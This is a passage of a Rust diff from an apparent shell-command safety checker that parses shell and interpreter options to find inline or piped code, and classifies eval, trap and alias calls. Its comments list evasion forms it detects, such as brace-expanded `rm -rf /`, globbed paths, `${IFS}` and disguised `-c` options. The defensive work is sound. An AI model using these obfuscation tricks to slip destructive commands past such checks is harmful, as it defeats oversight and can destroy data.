SHELL_RESERVED_WORDS: &[&str] = &[ /// [`resolve_effective_command`], but before the path prefix is cut off, so /// glob characters in a directory part stay visible. fn effective_command_word(normalized: &str) -> String { - let mut current = normalized.to_string(); - loop { - let stripped = strip_one_elevation_wrapper_or_assignment(¤t); - if stripped == current { - break; - } - current = stripped; + if let Some(word) = super::prefix_strip::unknown_prefix_word(normalized) { + return word; } - unquote_first_word(¤t) + unquote_first_word(&strip_prefixes(normalized)) .split_whitespace() .next() .unwrap_or("") @@ -926,8 +935,9 @@ fn effective_command_word(normalized: &str) -> String { /// segment with command substitutions already removed. Opaque are: /// non-ASCII names (fullwidth forms, homoglyphs), parameter expansion /// (`$x`, `${IFS}`), glob and brace expansion (`/bin/r?`, `{rm,-rf,/}`), -/// subshell/group/negation syntax (`(rm`, `{`, `!`) and shell reserved -/// words. Returns the reason, or `None`. +/// subshell/group/negation syntax (`(rm`, `{`, `!`), a `=` (a quoted +/// assignment is the command name: `'A=1 2' rm`) and shell reserved words. +/// Returns the reason, or `None`. pub(super) fn opaque_command_word_reason(literal: &str) -> Option<&'static str> { let word = effective_command_word(literal); if word.is_empty() { @@ -937,7 +947,7 @@ pub(super) fn opaque_command_word_reason(literal: &str) -> Option<&'static str> c.is_ascii_alphanumeric() || matches!( c, - '_' | '.' | '-' | '+' | ':' | '@' | '%' | ',' | '=' | '/' | '~' | '^' + '_' | '.' | '-' | '+' | ':' | '@' | '%' | ',' | '/' | '~' | '^' ) }); if !plain { @@ -951,1106 +961,3 @@ pub(super) fn opaque_command_word_reason(literal: &str) -> Option<&'static str> } None } - -/// Where a shell, interpreter or `source` call takes the program it runs -/// from — see [`program_source`]. -#[derive(Debug, Clone, PartialEq, Eq)] -pub(crate) enum ProgramSource { - /// Code passed as an argument (`sh -c CODE`, `fish --command CODE`, - /// `python3 -c CODE`, `perl -e CODE`, ...), in the order given. - Code(Vec), - /// The program is read from stdin (`... | sh`, `bash -s`, `python3 -`, - /// `source /dev/stdin`); its text never appears in the command. - Stdin, - /// A script or module operand the engine can see (`bash deploy.sh`). - Operand, - /// The arguments could not be analysed with confidence (an unknown long - /// option, untokenisable quoting, `-c` without its code argument). - Opaque, -} - -/// How a program parses its options, as far as [`program_source`] needs to -/// know. Characters are short options; long options are listed without the -/// leading `--`. A long option that is in none of the lists makes the call -/// [`ProgramSource::Opaque`] (fail closed): the engine cannot tell whether -/// it swallows the next word, and guessing "no" would let an option value -/// pass for the script operand (`| bash -o errexit`). -struct OptionSpec { - /// Short options that say "the first operand is the code" (POSIX - /// shells' `-c`, also inside clusters such as `-xc`). - code_operand: &'static str, - /// Short options that make a shell read its program from stdin (`-s`). - stdin_flag: &'static str, - /// Short options whose value is code (`perl -e CODE`, `fish -c CODE`). - code_value: &'static str, - /// Short options whose value is a script or module to run (`python3 -m`). - script_value: &'static str, - /// Short options that take a value, attached (the rest of the cluster) - /// or as the next word. When unsure whether an option takes a value, it - /// belongs here: swallowing one word too many can only make a script - /// operand look missing, which reads as "stdin" and escalates. - value: &'static str, - /// Short options that always take the *next word* as their value, even - /// inside a cluster, while the rest of the cluster is still read as - /// options (`bash -oc errexit CODE` runs `CODE`). - next_word_value: &'static str, - /// Options (among `value`) whose value names a shell option and may be - /// that option's single letter: ksh93 reads `-oc`, `-o c` as `-c`. A - /// one-letter value that is a code or stdin option counts as that - /// option; a negated (`+o c`, `-o noc`) or case-folded one, or one - /// naming a value-taking option, makes the call - /// [`ProgramSource::Opaque`] (fail closed). The value is normalised - /// first (`-`/`_` dropped, so `-o c_` is `-c`), and a multi-letter - /// value must be a known option name, else the call is `Opaque` too - /// (see [`letter_option`]). - letter_name_value: &'static str, - /// Short options followed by an optional run of digits, after which the - /// rest of the cluster is still read as options (`perl -l0e CODE`, - /// `ruby -W2e CODE`). A hexadecimal value (`perl -0x1ff`) makes the - /// call [`ProgramSource::Opaque`]: hex digits include `e`. - digit_value: &'static str, - /// Short options whose value can only be attached and whose end is not - /// known (`perl -Mstrict`, `ruby -Ku`). If the rest of the cluster - /// contains a code, stdin or script option character, the call is - /// [`ProgramSource::Opaque`] (fail closed): the program might read it - /// as that option. - attached_value: &'static str, - /// Whether `+x`-style options exist (`sh +x`, `bash +o history`). - plus_options: bool, - long_code: &'static [&'static str], - long_script: &'static [&'static str], - long_value: &'static [&'static str], - long_flag: &'static [&'static str], -} - -/// bash, dash and busybox ash: `-o`/`-O` always take the *next word* as -/// the option name, and the rest of the cluster is still read as options -/// (`bash -oc errexit CODE` runs `CODE`). -const BASH_LIKE_SHELL_OPTIONS: OptionSpec = OptionSpec { - code_operand: "c", - stdin_flag: "s", - code_value: "", - script_value: "", - value: "", - next_word_value: "oO", - letter_name_value: "", - digit_value: "", - attached_value: "", - plus_options: true, - long_code: &[], - long_script: &[], - long_value: &["rcfile", "init-file"], - long_flag: &[ - "norc", - "noprofile", - "login", - "posix", - "noediting", - "restricted", - "verbose", - "debugger", - "dump-strings", - "dump-po-strings", - "version", - "help", - ], -}; - -/// zsh and the ksh family: `-o`/`-O` take the *rest of the cluster* as the -/// option name if it is non-empty (`zsh -oerrexit -c CODE`), and the next -/// word only when they stand alone. -const KSH_LIKE_SHELL_OPTIONS: OptionSpec = OptionSpec { - code_operand: "c", - stdin_flag: "s", - code_value: "", - script_value: "", - value: "oO", - next_word_value: "", - letter_name_value: "oO", - digit_value: "", - attached_value: "", - plus_options: true, - long_code: &[], - long_script: &[], - long_value: &["rcfile", "init-file"], - long_flag: &[ - "norc", - "noprofile", - "login", - "posix", - "noediting", - "restricted", - "verbose", - "debugger", - "dump-strings", - "dump-po-strings", - "version", - "help", - ], -}; - -const FISH_OPTIONS: OptionSpec = OptionSpec { - code_operand: "", - stdin_flag: "", - code_value: "cC", - script_value: "", - value: "dof", - next_word_value: "", - letter_name_value: "", - digit_value: "", - attached_value: "", - plus_options: false, - long_code: &["command", "init-command"], - long_script: &[], - long_value: &[ - "debug", - "debug-output", - "features", - "profile", - "profile-startup", - ], - long_flag: &[ - "interactive", - "login", - "no-execute", - "no-config", - "private", - "print-rusage-self", - "print-debug-categories", - "version", - "help", - ], -}; - -const CSH_OPTIONS: OptionSpec = OptionSpec { - code_operand: "c", - stdin_flag: "s", - code_value: "", - script_value: "", - value: "", - next_word_value: "", - letter_name_value: "", - digit_value: "", - attached_value: "", - plus_options: false, - long_code: &[], - long_script: &[], - long_value: &[], - long_flag: &["version", "help"], -}; - -const PYTHON_OPTIONS: OptionSpec = OptionSpec { - code_operand: "", - stdin_flag: "", - code_value: "c", - script_value: "m", - value: "WXQ", - next_word_value: "", - letter_name_value: "", - digit_value: "", - attached_value: "", - plus_options: false, - long_code: &[], - long_script: &[], - long_value: &["check-hash-based-pycs"], - long_flag: &["version", "help", "help-env", "help-xoptions", "help-all"], -}; - -const PERL_OPTIONS: OptionSpec = OptionSpec { - code_operand: "", - stdin_flag: "", - code_value: "eE", - script_value: "", - value: "I", - next_word_value: "", - letter_name_value: "", - digit_value: "0l", - attached_value: "CdDimMVx", - plus_options: false, - long_code: &[], - long_script: &[], - long_value: &[], - long_flag: &["version", "help"], -}; - -const RUBY_OPTIONS: OptionSpec = OptionSpec { - code_operand: "", - stdin_flag: "", - code_value: "e", - script_value: "", - value: "CEIr", - next_word_value: "", - letter_name_value: "", - digit_value: "0TW", - attached_value: "FKx", - plus_options: false, - long_code: &[], - long_script: &[], - long_value: &[ - "enable", - "disable", - "encoding", - "external-encoding", - "internal-encoding", - "dump", - "backtrace-limit", - "crash-report", - "parser", - ], - long_flag: &["version", "help", "verbose", "copyright", "yjit", "jit"], -}; - -const NODE_OPTIONS: OptionSpec = OptionSpec { - code_operand: "", - stdin_flag: "", - code_value: "ep", - script_value: "", - value: "Cr", - next_word_value: "", - letter_name_value: "", - digit_value: "", - attached_value: "", - plus_options: false, - long_code: &["eval", "print"], - long_script: &[], - long_value: &[ - "require", - "import", - "loader", - "experimental-loader", - "input-type", - "conditions", - "env-file", - "title", - ], - long_flag: &[ - "version", - "help", - "check", - "interactive", - "no-warnings", - "no-deprecation", - "trace-warnings", - "enable-source-maps", - ], -}; - -const PHP_OPTIONS: OptionSpec = OptionSpec { - code_operand: "", - stdin_flag: "", - code_value: "BERr", - script_value: "Ff", - value: "cdzSt", - next_word_value: "", - letter_name_value: "", - digit_value: "", - attached_value: "", - plus_options: false, - long_code: &[], - long_script: &[], - long_value: &[], - long_flag: &["version", "help", "info", "ini"], -}; - -/// Shells with [`BASH_LIKE_SHELL_OPTIONS`]: `-c` makes the first operand -/// the code, `-s` reads stdin, `-o`/`+o` take the next word. -const BASH_LIKE_SHELLS: &[&str] = &["bash", "rbash", "dash", "ash"]; - -/// Shells with [`KSH_LIKE_SHELL_OPTIONS`]: like [`BASH_LIKE_SHELLS`], but -/// `-o`/`+o` take an attached value. Issue #60 adds the restricted variants -/// `rksh` (ksh93) and `rzsh` (zsh) and `oksh` (OpenBSD ksh, a pdksh -/// descendant). -const KSH_LIKE_SHELLS: &[&str] = &[ - "zsh", "rzsh", "ksh", "ksh93", "rksh", "mksh", "lksh", "pdksh", "oksh", -]; - -/// POSIX shells whose `-o` syntax is not known for certain: `sh` can be any -/// of the shells above, depending on the system. Both readings are -/// analysed and merged by [`merge_program_sources`] (fail closed). -const UNKNOWN_POSIX_SHELLS: &[&str] = &["sh", "yash", "posh"]; - -/// What kind of program `program` (lower-cased basename) is. -enum ProgramKind { - WithOptions(&'static OptionSpec, bool), - /// A shell whose option syntax may be either of the two. - EitherShell(&'static OptionSpec, &'static OptionSpec), - Source, -} - -fn program_kind(program: &str) -> Option { - let program = program.rsplit('/').next().unwrap_or(program); - let program = program.to_ascii_lowercase(); - let program = program.as_str(); - // Issue #60: a versioned binary of a known shell (`bash5`, `bash-5.2`, - // `zsh-5.9`, `ksh2020`, `ksh93u+m`) gets the family of its base name. - // Only the exact name and shell base names are looked up, so this can - // only classify more calls, never fewer. - exact_program_kind(program) - .or_else(|| versioned_shell_base(program).and_then(exact_program_kind)) -} - -/// Shell names whose versioned binaries (``) are recognised -/// by [`versioned_shell_base`]. -fn known_shell_names() -> impl Iterator { - BASH_LIKE_SHELLS - .iter() - .chain(KSH_LIKE_SHELLS) - .chain(UNKNOWN_POSIX_SHELLS) - .chain(&["fish", "csh", "tcsh"]) - .copied() -} - -/// The known shell `program` (lower-cased basename) is a versioned binary -/// of: the shell name, optionally `-` or `_`, then a version that starts -/// with a digit and contains only ASCII letters, digits, `.`, `+`, `-` and -/// `_` (`bash5`, `bash-5.2`, `zsh-5.9`, `ksh2020`, `ksh93u+m`). Requiring a -/// digit right after the name keeps unrelated names (`sha1sum`, `shred`, -/// `bashbug`) out. -fn versioned_shell_base(program: &str) -> Option<&'static str> { - known_shell_names().find(|&shell| { - program.strip_prefix(shell).is_some_and(|rest| { - let version = rest - .strip_prefix('-') - .or_else(|| rest.strip_prefix('_')) - .unwrap_or(rest); - version.starts_with(|c: char| c.is_ascii_digit()) - && version - .chars() - .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '+' | '-' | '_')) - }) - }) -} - -/// [`program_kind`] for an exact lower-cased basename. -fn exact_program_kind(program: &str) -> Option { - if BASH_LIKE_SHELLS.contains(&program) { - return Some(ProgramKind::WithOptions(&BASH_LIKE_SHELL_OPTIONS, true)); - } - if KSH_LIKE_SHELLS.contains(&program) { - return Some(ProgramKind::WithOptions(&KSH_LIKE_SHELL_OPTIONS, true)); - } - if UNKNOWN_POSIX_SHELLS.contains(&program) { - return Some(ProgramKind::EitherShell( - &BASH_LIKE_SHELL_OPTIONS, - &KSH_LIKE_SHELL_OPTIONS, - )); - } - let interpreter = |spec| Some(ProgramKind::WithOptions(spec, false)); - match program { - "fish" => Some(ProgramKind::WithOptions(&FISH_OPTIONS, true)), - "csh" | "tcsh" => Some(ProgramKind::WithOptions(&CSH_OPTIONS, true)), - "perl" => interpreter(&PERL_OPTIONS), - "ruby" => interpreter(&RUBY_OPTIONS), - "node" | "nodejs" => interpreter(&NODE_OPTIONS), - "php" => interpreter(&PHP_OPTIONS), - "source" | "." => Some(ProgramKind::Source), - // `python`, `python3`, `python3.12`, ... - _ if program - .strip_prefix("python") - .is_some_and(|v| v.chars().all(|c| c.is_ascii_digit() || c == '.')) => - { - interpreter(&PYTHON_OPTIONS) - } - _ => None, - } -} - -/// An argument that names the process's own stdin. -fn is_stdin_path(word: &str) -> bool { - matches!(word, "-" | "/dev/stdin") - || word.starts_with("/dev/fd/") - || (word.starts_with("/proc/") && word.contains("/fd/")) -} - -/// Analyses one segment that starts (after wrappers, `sudo` and variable -/// assignments) with a shell, a script interpreter, or `source`/`.`, and -/// says where the program it runs comes from. Returns `None` for any other -/// command. `literal` as for [`opaque_command_word_reason`]. -/// -/// Options are parsed per program ([`OptionSpec`]), so option values -/// (`bash -o errexit`, `python3 -W ignore`), `+` options (`sh +x`) and an -/// option before `-c` (`bash -e -c CODE`) are not mistaken for the script -/// operand or missed. -pub(crate) fn program_source(literal: &str) -> Option { - let resolved = resolve_effective_command(literal); - let program = resolved.split_whitespace().next()?; - let Some(kind) = program_kind(program) else { - return unclassified_shell_source(program, &resolved); - }; - let Ok(words) = shell_words::split(&resolved) else { - return Some(ProgramSource::Opaque); - }; - let args = words.get(1..).unwrap_or_default(); - Some(match kind { - ProgramKind::Source => { - if args.iter().any(|arg| is_stdin_path(arg)) { - ProgramSource::Stdin - } else { - ProgramSource::Operand - } - } - ProgramKind::WithOptions(spec, is_shell) => analyse_options(spec, is_shell, args), - ProgramKind::EitherShell(a, b) => merge_program_sources( - analyse_options(a, true, args), - analyse_options(b, true, args), - ), - }) -} - -/// Basenames that end in `sh` but are not shells, so the fail-closed -/// fallback in [`unclassified_shell_source`] leaves them alone. `ssh` and -/// its relatives take a cipher with `-c`; `chsh -s` sets a login shell; the -/// others are ordinary commands and shell builtins whose `-c`/`-s` (if any) -/// has nothing to do with running code. -const NON_SHELL_SH_NAMES: &[&str] = &[ - "ssh", "autossh", "lsh", "chsh", "lchsh", "ypchsh", "flush", "fdflush", "crash", "push", - "publish", "refresh", "rehash", "hash", "finish", -]; - -/// Issue #60: fail-closed fallback for a command whose basename looks like a -/// shell [`program_kind`] does not know (`mysh`, `pwsh`, `xonsh`, ...): it -/// ends in `sh`, consists only of ASCII letters, digits, `-` and `_` (so -/// `deploy.sh` and other script files are not covered), and is not in -/// [`NON_SHELL_SH_NAMES`]. -/// -/// Such a call is only flagged when it carries a short option cluster with -/// `c` or `s` (`-c`, `-s`, `-xc`, `+s`) before `--`. It is then read like -/// `sh` (both option readings, merged fail closed): code found that way is -/// returned as [`ProgramSource::Code`], so it is evaluated recursively and a -/// `Deny` rule still applies; otherwise it is at least -/// [`ProgramSource::Stdin`] or [`ProgramSource::Opaque`], i.e. `Confirm`. -/// Any other call returns `None`, exactly as before. -fn unclassified_shell_source(program: &str, resolved: &str) -> Option { - let name = program.rsplit('/').next().unwrap_or(program); - let name = name.to_ascii_lowercase(); - let looks_like_shell = name.len() > 2 - && name.ends_with("sh") - && name - .chars() - .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_')) - && !NON_SHELL_SH_NAMES.contains(&name.as_str()); - if !looks_like_shell { - return None; - } - let words = shell_words::split(resolved) - .unwrap_or_else(|_| resolved.split_whitespace().map(str::to_string).collect()); - let args = words.get(1..).unwrap_or_default(); - let has_code_or_stdin_option = args - .iter() - .take_while(|arg| arg.as_str() != "--") - .any(|arg| { - let cluster = arg - .strip_prefix('-') - .filter(|rest| !rest.starts_with('-')) - .or_else(|| arg.strip_prefix('+')); - cluster.is_some_and(|c| c.contains(['c', 's'])) - }); - if !has_code_or_stdin_option { - return None; - } - Some( - match merge_program_sources( - analyse_options(&BASH_LIKE_SHELL_OPTIONS, true, args), - analyse_options(&KSH_LIKE_SHELL_OPTIONS, true, args), - ) { - source @ (ProgramSource::Code(_) | ProgramSource::Stdin) => source, - ProgramSource::Operand | ProgramSource::Opaque => ProgramSource::Opaque, - }, - ) -} - -/// Merges two readings of the same call into one that is at least as -/// strict as each (fail closed): the code of both readings if either finds -/// code (the engine adds a `Confirm` floor for code and evaluates each part, -/// so a `Deny` behind either reading still applies), the common result if -/// both agree, and [`ProgramSource::Opaque`] otherwise. -fn merge_program_sources(a: ProgramSource, b: ProgramSource) -> ProgramSource { - match (a, b) { - (ProgramSource::Code(mut a), ProgramSource::Code(b)) => { - for code in b { - if !a.contains(&code) { - a.push(code); - } - } - ProgramSource::Code(a) - } - (ProgramSource::Code(code), _) | (_, ProgramSource::Code(code)) => { - ProgramSource::Code(code) - } - (a, b) if a == b => a, - _ => ProgramSource::Opaque, - } -} - -/// Option names (normalised: lower case, without `-`/`_`) that zsh and the -/// ksh family accept for `-o`/`+o` and that do not change where the shell -/// reads its program from. Any other multi-letter name makes the call -/// [`ProgramSource::Opaque`] (fail closed): the shell might read it as a -/// short option (ksh93 ignores `-`/`_` in names, so `-o c_` means `-c`), -/// as an abbreviation, or as a name this list does not know yet. -const KNOWN_SHELL_OPTION_NAMES: &[&str] = &[ - // ksh93, mksh and the POSIX `set -o` names. - "allexport", - "bgnice", - "braceexpand", - "emacs", - "errexit", - "errtrace", - "functrace", - "globstar", - "gmacs", - "hashall", - "histexpand", - "history", - "ignoreeof", - "inheritxtrace", - "interactive", - "keyword", - "letoctal", - "login", - "markdirs", - "monitor", - "multiline", - "noclobber", - "noexec", - "noglob", - "nohup", - "nolog", - "notify", - "nounset", - "physical", - "pipefail", - "posix", - "privileged", - "restricted", - "sh", - "showme", - "trackall", - "utf8mode", - "verbose", - "vi", - "viesccomplete", - "viraw", - "vitabcomplete", - "xtrace", - // zsh (names that are not already listed above). - "aliases", - "alwayslastprompt", - "alwaystoend", - "appendhistory", - "autocd", - "autolist", - "automenu", - "autonamedirs", - "autoparamkeys", - "autoparamslash", - "autopushd", - "autoremoveslash", - "autoresume", - "badpattern", - "banghist", - "bareglobqual", - "bashautolist", - "bashrematch", - "beep", - "braceccl", - "bsdecho", - "caseglob", - "casematch", - "cbases", - "cdablevars", - "chasedots", - "chaselinks", - "checkjobs", - "checkrunningjobs", - "clobber", - "combiningchars", - "completealiases", - "completeinword", - "correct", - "correctall", - "cprecedences", - "cshjunkiehistory", - "cshjunkieloops", - "cshjunkiequotes", - "cshnullcmd", - "cshnullglob", - "equals", - "errreturn", - "evallineno", - "exec", - "extendedglob", - "extendedhistory", - "flowcontrol", - "functionargzero", - "glob", - "globalexport", - "globalrcs", - "globassign", - "globcomplete", - "globdots", - "globsubst", - "hashcmds", - "hashdirs", - "hashexecutablesonly", - "hashlistall", - "histallowclobber", - "histbeep", - "histexpiredupsfirst", - "histfcntllock", - "histfindnodups", - "histignorealldups", - "histignoredups", - "histignorespace", - "histlexwords", - "histnofunctions", - "histnostore", - "histreduceblanks", - "histsavebycopy", - "histsavenodups", - "histsubstpattern", - "histverify", - "hup", - "ignorebraces", - "ignoreclosebraces", - "incappendhistory", - "incappendhistorytime", - "interactivecomments", - "ksharrays", - "kshautoload", - "kshglob", - "kshoptionprint", - "kshtypeset", - "kshzerosubscript", - "listambiguous", - "listbeep", - "listpacked", - "listrowsfirst", - "listtypes", - "localloops", - "localoptions", - "localpatterns", - "localtraps", - "longlistjobs", - "magicequalsubst", - "mailwarning", - "menucomplete", - "multibyte", - "multifuncdef", - "multios", - "nomatch", - "nullglob", - "numericglobsort", - "octalzeroes", - "overstrike", - "pathdirs", - "pathscript", - "posixaliases", - "posixargzero", - "posixbuiltins", - "posixcd", - "posixidentifiers", - "posixjobs", - "posixstrings", - "posixtraps", - "printeightbit", - "printexitvalue", - "promptbang", - "promptcr", - "promptpercent", - "promptsp", - "promptsubst", - "pushdignoredups", - "pushdminus", - "pushdsilent", - "pushdtohome", - "rcexpandparam", - "rcquotes", - "rcs", - "recexact", - "rematchpcre", - "rmstarsilent", - "rmstarwait", - "sharehistory", - "shfileexpansion", - "shglob", - "shnullcmd", - "shoptionletters", - "shortloops", - "shortrepeat", - "shwordsplit", - "singlecommand", - "singlelinezle", - "sourcetrace", - "sunkeyboardhack", - "transientrprompt", - "trapsasync", - "typesetsilent", - "typesettounset", - "unset", - "warncreateglobal", - "warnnestedvar", - "zle", -]; - -/// Option names (normalised as above) that make the shell read its program -/// from stdin, like `-s`: zsh's `SHIN_STDIN`, mksh's `stdin`. -const STDIN_SHELL_OPTION_NAMES: &[&str] = &["shinstdin", "stdin"]; - -/// What an option name given to `-o` means (see -/// [`OptionSpec::letter_name_value`]). -enum LetterOption { - CodeOperand, - Stdin, - Opaque, -} - -/// Reads `name`, the value of an `-o`-style option (`minus` is false for -/// `+o`). The name is normalised first, the way ksh93 and zsh compare -/// option names: `-`/`_` are dropped (`no-c`, `c_` → `noc`, `c`) and a -/// leading `no` negates. -/// -/// - A known option name ([`KNOWN_SHELL_OPTION_NAMES`]) or a harmless -/// single letter (`x`) gives `None`. -/// - A name meaning "read from stdin" ([`STDIN_SHELL_OPTION_NAMES`]) or the -/// letter of a stdin option gives `Stdin`, the letter of the code option -/// gives `CodeOperand`. -/// - Everything else fails closed (`Opaque`): an unknown multi-letter name, -/// an empty name, or a negated (`+o c`, `-o no-c`), case-folded (`-o C`) -/// or value-taking (`-o o`) dangerous letter. -fn letter_option(spec: &OptionSpec, name: &str, minus: bool) -> Option { - let normalised: String = name.chars().filter(|&c| c != '-' && c != '_').collect(); - let lower = normalised.to_ascii_lowercase(); - let (negated, stripped) = match lower.strip_prefix("no") { - Some(rest) => (true, rest), - None => (false, lower.as_str()), - }; - if STDIN_SHELL_OPTION_NAMES.contains(&lower.as_str()) { - return Some(if minus { - LetterOption::Stdin - } else { - LetterOption::Opaque - }); - } - if negated && STDIN_SHELL_OPTION_NAMES.contains(&stripped) { - return Some(LetterOption::Opaque); - } - if KNOWN_SHELL_OPTION_NAMES.contains(&lower.as_str()) - || (negated && KNOWN_SHELL_OPTION_NAMES.contains(&stripped)) - { - return None; - } - // Single letter, case kept (ksh93 option letters are case-sensitive). - let letter = if normalised.chars().count() == 1 { - normalised.as_str() - } else if negated && stripped.chars().count() == 1 { - &normalised[2..] - } else { - return Some(LetterOption::Opaque); - }; - let negated = letter.len() < normalised.len(); - let c = letter.chars().next()?; - let dangerous = |d: char| { - spec.code_operand.contains(d) - || spec.stdin_flag.contains(d) - || spec.code_value.contains(d) - || spec.script_value.contains(d) - || spec.value.contains(d) - || spec.next_word_value.contains(d) - || spec.attached_value.contains(d) - || spec.digit_value.contains(d) - }; - let folded = |d: char| dangerous(d.to_ascii_lowercase()) || dangerous(d.to_ascii_uppercase()); - if !dangerous(c) { - return folded(c).then_some(LetterOption::Opaque); - } - if negated || !minus { - return Some(LetterOption::Opaque); - } - if spec.code_operand.contains(c) { - Some(LetterOption::CodeOperand) - } else if spec.stdin_flag.contains(c) { - Some(LetterOption::Stdin) - } else { - Some(LetterOption::Opaque) - } -} - -fn analyse_options(spec: &OptionSpec, is_shell: bool, args: &[String]) -> ProgramSource { - let mut codes: Vec = Vec::new(); - let mut code_operand = false; - let mut stdin = false; - let mut script = false; - let mut i = 0usize; - - // Takes an option's value: the rest of the cluster if non-empty, else - // the next word. `None` if the value is missing. - let take_value = |attached: &str, i: &mut usize| -> Option { - if !attached.is_empty() { - return Some(attached.to_string()); - } - let value = args.get(*i).cloned(); - if value.is_some() { - *i += 1; - } - value - }; - - while i < args.len() { - let arg = args[i].as_str(); - i += 1; - if arg == "--" { - break; - } - if arg == "-" { - // A shell treats a lone `-` like `--`; an interpreter reads its - // program from stdin. - if !is_shell { - stdin = true; - } - break; - } - if let Some(long) = arg.strip_prefix("--") { - let (name, inline) = match long.split_once('=') { - Some((name, value)) => (name, Some(value.to_string())), - None => (long, None), - }; - let in_list = |list: &[&str]| list.contains(&name); - if in_list(spec.long_code) { - match inline.or_else(|| take_value("", &mut i)) { - Some(code) => codes.push(code), - None => return ProgramSource::Opaque, - } - } else if in_list(spec.long_script) || in_list(spec.long_value) { - script |= in_list(spec.long_script); - let value = inline.or_else(|| take_value("", &mut i)); - stdin |= value.is_some_and(|v| is_stdin_path(&v)); - } else if !in_list(spec.long_flag) { - return ProgramSource::Opaque; - } - continue; - } - let cluster = match arg.strip_prefix('-') { - Some(cluster) => cluster, - None => match arg.strip_prefix('+') { - Some(cluster) if spec.plus_options && !cluster.is_empty() => cluster, - // First operand: options end here. - _ => { - i -= 1; - break; - } - }, - }; - let minus = arg.starts_with('-'); - // Bytes of the cluster already consumed as a digit value. - let mut skip = 0usize; - for (pos, c) in cluster.char_indices() { - if skip > 0 { - skip -= c.len_utf8(); - continue; - } - let attached = &cluster[pos + c.len_utf8()..]; - if spec.code_operand.contains(c) { - code_operand = true; - } else if spec.stdin_flag.contains(c) && minus { - stdin = true; - } else if spec.code_value.contains(c) { - match take_value(attached, &mut i) { - Some(code) => codes.push(code), - None => return ProgramSource::Opaque, - } - break; - } else if spec.script_value.contains(c) || spec.value.contains(c) { - script |= spec.script_value.contains(c); - let value = take_value(attached, &mut i); - stdin |= value.as_deref().is_some_and(is_stdin_path); - if spec.letter_name_value.contains(c) { - match value.as_deref().and_then(|v| letter_option(spec, v, minus)) { - Some(LetterOption::CodeOperand) => code_operand = true, - Some(LetterOption::Stdin) => stdin = true, - Some(LetterOption::Opaque) => return ProgramSource::Opaque, - None => {} - } - } - break; - } else if spec.next_word_value.contains(c) { - stdin |= take_value("", &mut i).is_some_and(|v| is_stdin_path(&v)); - } else if spec.digit_value.contains(c) { - if c == '0' && attached.starts_with(['x', 'X']) { - return ProgramSource::Opaque; - } - let digits = attached.len() - - attached - .trim_start_matches(|d: char| d.is_ascii_digit()) - .len(); - skip = digits; - } else if spec.attached_value.contains(c) { - let dangerous = |d: char| { - spec.code_operand.contains(d) - || spec.code_value.contains(d) - || spec.stdin_flag.contains(d) - || spec.script_value.contains(d) - }; - if attached.contains(dangerous) { - return ProgramSource::Opaque; - } - stdin |= is_stdin_path(attached); - break; - } - } - } - - let rest = &args[i.min(args.len())..]; - if code_operand { - match rest.first() { - Some(code) => codes.push(code.clone()), - None if codes.is_empty() => return ProgramSource::Opaque, - None => {} - } - } - if !codes.is_empty() { - return ProgramSource::Code(codes); - } - // Conservative: any argument naming stdin counts, even one meant for - // the script (`bash x.sh /dev/stdin`) — that only costs a confirmation. - if stdin || rest.iter().any(|arg| is_stdin_path(arg)) { - return ProgramSource::Stdin; - } - if script || !rest.is_empty() { - ProgramSource::Operand - } else { - ProgramSource::Stdin - } -} - -/// If the segment is an `eval` call, returns the code `eval` runs: its -/// arguments with quotes removed, joined by single spaces (what the shell -/// passes to its parser). `literal` as for [`opaque_command_word_reason`]. -/// Falls back to the raw argument text when it cannot be tokenised. -pub(super) fn eval_code(literal: &str) -> Option { - let resolved = resolve_effective_command(literal); - let trimmed = resolved.trim_start(); - let rest_start = trimmed.find(char::is_whitespace).unwrap_or(trimmed.len()); - let (program, rest) = trimmed.split_at(rest_start); - if !program.eq_ignore_ascii_case("eval") { - return None; - } - let code = match shell_words::split(rest) { - Ok(words) => words.join(" "), - Err(_) => rest.trim().to_string(), - }; - Some(code) -} - -/// Which shell construct stores code for later execution (issue #55). -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub(super) enum DeferredCodeKind { - /// `trap ACTION SIGNAL...`: the action runs when a signal arrives or the - /// shell exits. - Trap, - /// `alias NAME=VALUE`: the value runs whenever a later command starts - /// with `NAME`. - Alias, -} - -/// A segment that stores shell code to run later (issue #55). -#[derive(Debug, Clone, PartialEq, Eq)] -pub(super) struct DeferredCode { - pub(super) kind: DeferredCodeKind, - /// The stored code, one entry per handler/alias value, quotes removed. - /// Empty when the code could not be extracted reliably — the segment is - /// then only floored at `Confirm` (fail closed). - pub(super) codes: Vec, -} - -/// Whether `word` can be a signal specification (`EXIT`, `INT`, `SIGTERM`, -/// `15`, `RTMIN+1`). A lone `trap WORD` with such a word resets that signal; -/// any other lone operand is treated as code, fail closed. -fn is_signal_spec(word: &str) -> bool { - !word.is_empty() - && word - .chars() - .all(|c| c.is_ascii_alphanumeric() || matches!(c, '_' | '+' | '-')) -} - -/// If the segment is a `trap` call that sets a handler, or an `alias` call -/// that defines at least one alias, returns the code it stores. `literal` as -/// for [`opaque_command_word_reason`]; wrappers such as `command`/`builtin` -/// are resolved first, like for [`eval_code`]. -/// -/// Exempt (returns `None`), because they store no code: -/// - `trap`, `trap -p [SIG...]`, `trap -l` (listing); -/// - `trap - SIG...`, `trap '' SIG...` (reset to default / ignore the -/// signal); -/// - `trap SIG` with a single operand that looks like a signal (reset); -/// - `alias`, `alias NAME...`, `alias -p` (listing — no argument with `=`). -/// -/// Everything else that is not clearly one of those forms counts as a -/// definition (fail closed): an unknown `trap` option, a lone `trap` -/// operand that is not a signal name, or input that cannot be tokenised -/// but contains a `=` (alias) or an operand (trap). -pub(super) fn deferred_code(literal: &str) -> Option { - let resolved = resolve_effective_command(literal); - let trimmed = resolved.trim_start(); - let rest_start = trimmed.find(char::is_whitespace).unwrap_or(trimmed.len()); - let (program, rest) = trimmed.split_at(rest_start); - let kind = if program.eq_ignore_ascii_case("trap") { - DeferredCodeKind::Trap - } else if program.eq_ignore_ascii_case("alias") { - DeferredCodeKind::Alias - } else { - return None; - }; - let Ok(args) = shell_words::split(rest) else { - // Not tokenisable: no reliable extraction. Read-only forms never - // need quoting, so anything that might define code is floored. - let might_define = match kind { - DeferredCodeKind::Trap => !rest.trim().is_empty(), - DeferredCodeKind::Alias => rest.contains('='), - }; - return might_define.then_some(DeferredCode { - kind, - codes: Vec::new(), - }); - }; - let codes = match kind { - DeferredCodeKind::Trap => trap_handler(&args)?, - DeferredCodeKind::Alias => alias_values(&args)?, - }; - Some(DeferredCode { kind, codes }) -} - -/// `trap` arguments 